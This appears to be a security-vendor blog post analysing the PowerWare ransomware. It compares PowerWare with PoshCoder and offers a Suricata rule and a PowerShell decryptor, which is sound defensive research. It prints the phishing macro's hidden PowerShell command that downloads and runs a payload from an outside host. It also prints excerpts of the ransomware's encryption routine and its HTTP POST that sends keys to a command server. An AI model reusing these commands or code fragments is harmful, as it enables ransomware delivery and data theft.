PowerWare or PoshCoder? Comparison and Decryption

April 4, 2016 | Peter Ewane
X

Get the latest security news in your inbox.

Subscribe via Email

No thanks. Close this now.

PowerWare was brought to my attention by Carbon Black via their blog post. PowerWare is downloaded by a malicious macro-enabled Microsoft Word document that is distributed via a phishing email campaign. The malicious document in question attempts to convince the user to enable macros by informing them that the file is protected by Microsoft Office. This, of course, is a farce. Once the macro is enabled, the PowerWare payload will be downloaded and executed. PowerWare, unfortunately, is hitting healthcare providers.


Figure 1: Screenshot of the macro-enabled malicious Microsoft Word document tricking the user into enabling macros

Using olevba.py from oletools, we can extract the macro from the aforementioned document for analysis.

Private Sub Document_Open()

Dim CGJKIYRSDGHJHGFFG As String

CGJKIYRSDGHJHGFFG = "cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa[.]in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1"

Shell CGJKIYRSDGHJHGFFG, 0

MsgBox ("Unreferenced library required")

End Sub

From the output above, we can see when enabled, the macro intends to run this PowerShell command:

"cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa.in/file[.]php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1”

It employs use of “cmd” to launch “Powershell.exe,” because on some systems, calling the executable directly is blocked. The command also includes some minor obfuscation, such as splitting PowerShell.exe into bit sized chunks and mixing upper and lower case. In addition, the command attempts to bypass the Execution Policy and not use any profiles the system may have set to be used by default. It then downloads the payload form syscpa[.]in to a temporary directory as Y.ps1 and then executes it.

PowerWare based on PoshCoder

Upon examination of the PowerShell file that was downloaded, you may notice that the programming logic looks familiar. PowerWare seems to be heavily based on PoshCoder, the ransomware that rose to infamy due to the fact it destroyed encrypted data using a logic based programming flaw. The programming style and flow is similar enough that some may even argue that it's a variant of PoshCoder and not a totally new PowerShell ransomware family. The following are some of their major similarities:

1. Both incorporate the use of the RijndaelManaged class. The use of that class itself is not uncommon. However, if you examine the usage of the class, you will notice that the two are quite similar from the key initialization to the padding and mode choice. The exception is their Initialization vector (IV).

Excerpt from PoshCoder Sample

$XlowQsiRsKORgfR = new-Object System.Security.Cryptography.RijndaelManaged
$XlowQsiRsKORgfR.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $BchjdRgasjcThsjd, $UxjcRgasjfvRsj, 5).GetBytes(32)
$XlowQsiRsKORgfR.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("XlowQsiRsKORgfRjBMPLmCamEMyFRlWfsgTgh") )[0..15]
$XlowQsiRsKORgfR.Padding="Zeros"
$XlowQsiRsKORgfR.Mode="CBC"

Excerpt from PowerWare

Bnx8Khahs3Hjx96 = new-Object System.Security.Cryptography.RijndaelManaged
$Bnx8Khahs3Hjx96.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $GBCSWHJKIYRDVHH, $VGHKJJGFERHJJGSDQWD, 5).GetBytes(32)
$Bnx8Khahs3Hjx96.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$Bnx8Khahs3Hjx96.Padding="Zeros"
$Bnx8Khahs3Hjx96.Mode="CBC"

2. If you count the number file types that they encrypt, not shown for space reasons, you get 451 file types. Of these 451, most are found in both samples with the exception of five types, "*.amf", "*.qtiq", "*.srf", "*.val" and "*.waw". That works out to be slightly less than 1% difference in their two lists.

That being said the two samples are not exact copies of each other, there are some differences in their codebases as you will see below:

Excerpt from PowerWare

$GBCSWHJKIYRDVHH = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 50)) -join "" 
$SGKPOTTHJMNFDRYJKJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 20)) -join ""
$SQEGJJYRFBNHFFHJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 25)) -join ""
  • PoshCoder did not include any sort of network communication capability. It transmits the randomly generated values to a remote server via a POST request in plain HTTP utilizing XMLHTTP.
$73848HhjhdRghx67Hhsh = New-Object -ComObject MsXml2.XMLHTTP
$73848HhjhdRghx67Hhsh.open('POST', $XCJHEDIJGDFJMVD, $false)
$73848HhjhdRghx67Hhsh.setRequestHeader("C"+"ontent-tYpe",
"apPlicAtion/x-www-form-url"+"enCodeD")
$73848HhjhdRghx67Hhsh.setRequestHeader("ConteNt-length", $post.length)
$73848HhjhdRghx67Hhsh.setRequestHeader("CoNNeCtion", "close")
$73848HhjhdRghx67Hhsh.send($HGJHBVSRYUJNBGDRHJ)

3. PoshCoder variants featured some bad programming that made some files unrecoverable. Specifically, the script indicates that any file less than 42871 bytes in size will be encrypted completely but the larger files will only have the first 42871 bytes encrypted. That was an issue because the encryption will read in the first 42871 bytes from the file, encrypt them and then add 16 bytes of padding to reach the next boundary. Due to the padding, the overwritten bytes from 42872 to 42880 cannot be recovered. There was also the issue of the AES key not being properly padded when it was converted into a base64 string, so when decoded the variable would contain NULL or an empty value. Luckily, PowerWare doesn’t seem to have the these issues, and the files are recoverable.

Decrypting PowerWare

As mentioned earlier, PowerWare transmits randomly generated values to a remote server in clear-text via a POST request using XMLHTTP. This makes the traffic easily decipherable by AlienVault USM, or another NIDS with a proper Suricata rule such as the one below:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AV TROJAN Ransomware PowerWare/Poshcoder CnC Checkin"; flow:established,to_server; content:"POST"; http_method; content:"Content-Type|3a| application/x-www-form-urlencoded"; http_header; nocase; content:".php"; http_uri; content:"string="; http_client_body; nocase; content:"&string2="; http_client_body; nocase; content:"&uuid="; http_client_body; nocase; reference:md5,4564d49eda7a048f301b1f87f9da3c62; classtype:trojan-activity; sid:12345678; rev:1;)

Which would, in theory, capture the traffic below:

To decrypt the files we need two things:

  1. The password used during encryption (string)
  2. The salt used during the encryption process (string2).

Using the values above for "string" and "string2" we can decrypt the files encrypted by PowerWare.

param([string]$filename = $(Throw "Argument 'filename' required."), [string]$string1 = $(Throw "Please enter 'string'."),[string]$string2 = $(Throw "Please enter 'string2'."))
write-host "The entered filename is: $filename"
write-host "The entered Password is: $string1"
write-host "The entered Salt is: $string2"

$salt = [Text.Encoding]::UTF8.GetBytes($string2)

$Rijndael = new-Object System.Security.Cryptography.RijndaelManaged
$Rijndael.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $string1, $salt, 5).GetBytes(32)
$Rijndael.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$Rijndael.Padding="Zeros"
$Rijndael.Mode="CBC"

try{

  $binReader = New-Object System.IO.BinaryReader([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
  if ($binReader.BaseStream.Length -lt 2048){
    $binReader_length = $binReader.BaseStream.Length
  }
  else
  {
    $binReader_length = 2048
  }

  $data = $binReader.ReadBytes($binReader_length)

  $binReader.Close()
  $The_Decryptor = $Rijndael.CreateDecryptor()
  $memStream = new-Object IO.MemoryStream
  $cryptoStream = new-Object Security.Cryptography.CryptoStream $memStream,$The_Decryptor,"Write"
  $cryptoStream.Write($data, 0,$data.Length)
  $cryptoStream.Close()
  $memStream.Close()
  $The_Decryptor.Clear()
  $memStream_Array = $memStream.ToArray()
  $binWriter = New-Object System.IO.BinaryWriter([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)

  $binWriter.Write($memStream_Array,0,$memStream_Array.Length)

  $binWriter.Close()
}
catch
{
    write-host "Someting broke, set debuggers to level 10"
}

Samples Analyzed:

  • 4564d49eda7a048f301b1f87f9da3c62 - PowerWare
  • 627e107a62bdf541ffcfaa045fe9ba32 - PoshCoder/PoshKoder
  • 9fe45fc4c402932248cd2c26b65f883d - PoshCoder/PoshKoder
  • be03eb109cab04a1a70b5bbc7b22949e - PoshCoder/PoshKoder
  • d09cef5f16b1e5813a25fef43474ac96 - PoshCoder/PoshKoder

Conclusion

PowerWare, while it appears to be new, is heavily based on PoshCoder. More research is required, but this finding will hopefully assist security researchers in their efforts.

Peter Ewane

About the Author: Peter Ewane
Read more posts from Peter Ewane ›

‹ BACK TO ALL BLOGS

Watch a Demo ›
GET PRICE FREE TRIAL CHAT